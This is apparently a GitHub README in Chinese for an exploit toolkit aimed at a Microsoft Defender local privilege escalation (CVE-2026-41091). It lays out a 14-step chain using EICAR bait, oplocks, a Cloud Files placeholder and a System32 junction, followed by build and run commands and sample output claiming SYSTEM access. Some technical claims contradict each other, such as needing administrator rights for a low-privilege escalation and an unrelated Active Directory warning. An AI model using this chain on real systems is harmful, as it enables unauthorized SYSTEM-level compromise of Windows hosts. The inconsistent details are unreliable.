CVE-2026-41091 RedSun | Microsoft Defender 本地权限提升（LPE）漏洞利用。低权限用户可通过 Cloud Files API + NTFS junction 技巧获得 NT AUTHORITY\SYSTEM 🔥。强制 Defender 以 SYSTEM 权限将恶意载荷写入 System32。⚠️ 已在野外被积极利用。CVSS 7.8。补丁：Defender Engine 1.1.26040.8。🛡️ 仅供教育用途的 PoC。
# CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender 本地提权漏洞利用工具包
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > 法律免责声明与负责任使用
**本工具仅供教育和经授权的渗透测试目的使用。**
作者和贡献者不对本软件造成的任何滥用或损害负责。用户须自行负责确保在测试前获得目标所有者的明确书面许可。未经授权访问计算机系统在适用的联邦、州和国际网络犯罪法律下均属违法。
使用本软件即表示您同意：
- 仅在您拥有或获得明确测试许可的系统上使用。
- 遵守所有适用的地方、州和联邦法律。
- 不将其用于任何恶意、破坏性或非法活动。
> [!] **警告：** Active Directory 权限提升漏洞对企业基础设施构成高风险。严禁未经授权的测试。
> **Microsoft Defender 链接跟随漏洞** - 本地权限提升至 NT AUTHORITY\SYSTEM
### 该漏洞被称为 "RedSun"，"SolarFlare" 是我为我的漏洞利用程序起的名字。
## [<] 概述
本仓库包含针对 **CVE-2026-41091** 的**完整可用的概念验证（PoC）**漏洞利用程序，这是 Microsoft Defender（Microsoft Malware Protection Engine）中的一个严重本地权限提升漏洞。通过利用不当的链接解析（CWE-59），经过身份验证的低权限攻击者可以获取 **NT AUTHORITY\SYSTEM** 权限。
该漏洞也被称为 **"RedSun"** 或 **"SolarFlare"**，允许攻击者利用 Cloud Files API（CfAPI）和 NTFS 联接点诱骗 Microsoft Defender 以 SYSTEM 权限将任意文件写入受保护的系统位置。
> **注意：** 本仓库包含两个版本：
> - `basic_poc.cpp` - 简化的算法演示（教育用途）
> - `full_poc.cpp` - 包含全部功能的完整可用漏洞利用程序
### [-<] 主要特性
| 类别 | 特性 | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **漏洞利用** | 本地权限提升至 SYSTEM | `[+]` | `[+]` |
| | Cloud Files API（CfAPI）集成 | `[-]` | `[+]` |
| | 云占位符创建 | `[-]` | `[+]` |
| | NTFS 联接点重定向 | `[~]` | `[+]` |
| | COM 服务激活 | `[-]` | `[+]` |
| **技术** | 批量 Oplock 滥用 | `[+]` | `[+]` |
| | VSS 快照检测 | `[+]` | `[+]` |
| | EICAR 触发 | `[+]` | `[+]` |
| | NTFS 重解析点（挂载点） | `[+]` | `[+]` |
| | 文件处置（NtSetInformationFile） | `[-]` | `[+]` |
| | 命名管道会话 ID 检测 | `[-]` | `[+]` |
| | 控制台会话启动（conhost.exe） | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | SYSTEM 验证 | `[-]` | `[+]` |
| **目标** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | 仅限 x64 | `[+]` | `[+]` |
| **可用性** | 结构化日志记录 | `[~]` | `[+]` |
| | 错误处理 | `[~]` | `[+]` |
| | 随机目录名 | `[+]` | `[+]` |
| | 自动清理 | `[~]` | `[+]` |
| | 重试逻辑（NtCreateFile） | `[-]` | `[+]` |
## [i] 漏洞详情
| 属性 | 值 |
|-----------|-------|
| **CVE ID** | CVE-2026-41091 |
| **CVSS 评分** | 7.8（高危） |
| **CVSS 向量** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **攻击向量** | 本地 |
| **所需权限** | 低 |
| **用户交互** | 无 |
| **影响** | SYSTEM 级代码执行 |
| **CISA KEV** | [+] 是（已在野被积极利用） |
| **补丁可用性** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] 受影响产品
| 产品 | 受影响版本 | 修复版本 |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] 漏洞利用链
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] 安装
### 先决条件
- Windows 10/11 或 Windows Server 2019/2022
- 带有 C++ 工具的 Visual Studio 2019/2022
- 管理员权限（用于执行）
### 构建
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] 用法
### 完整利用（SYSTEM 权限提升）
```bash
full_poc.exe
```
### 基础算法演示
```bash
basic_poc.exe
```
## [i] 示例输出
### 完整漏洞利用输出
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### 基础 PoC 输出
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] 构建说明
### 使用 Visual Studio
1. 打开 VS 2022 的开发者命令提示符
2. 导航到漏洞利用目录
3. 运行：
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### 使用 CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] 要求与限制
| 要求 | 详情 |
|-------------|---------|
| **操作系统** | Windows 10/11、Server 2019/2022 |
| **权限** | 管理员权限（用于执行） |
| **Defender** | 必须启用 Microsoft Defender |
| **网络** | 检测 VSS 快照需要联网 |
| **补丁** | 仅在未打补丁的系统上有效 |
| **架构** | 仅限 x64 |
## 相关漏洞利用
查看我的其他漏洞利用仓库：
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - GNU inetutils-telnetd 认证绕过
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - cPanel/WHM 认证绕过漏洞利用
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Android ADB 无线调试认证绕过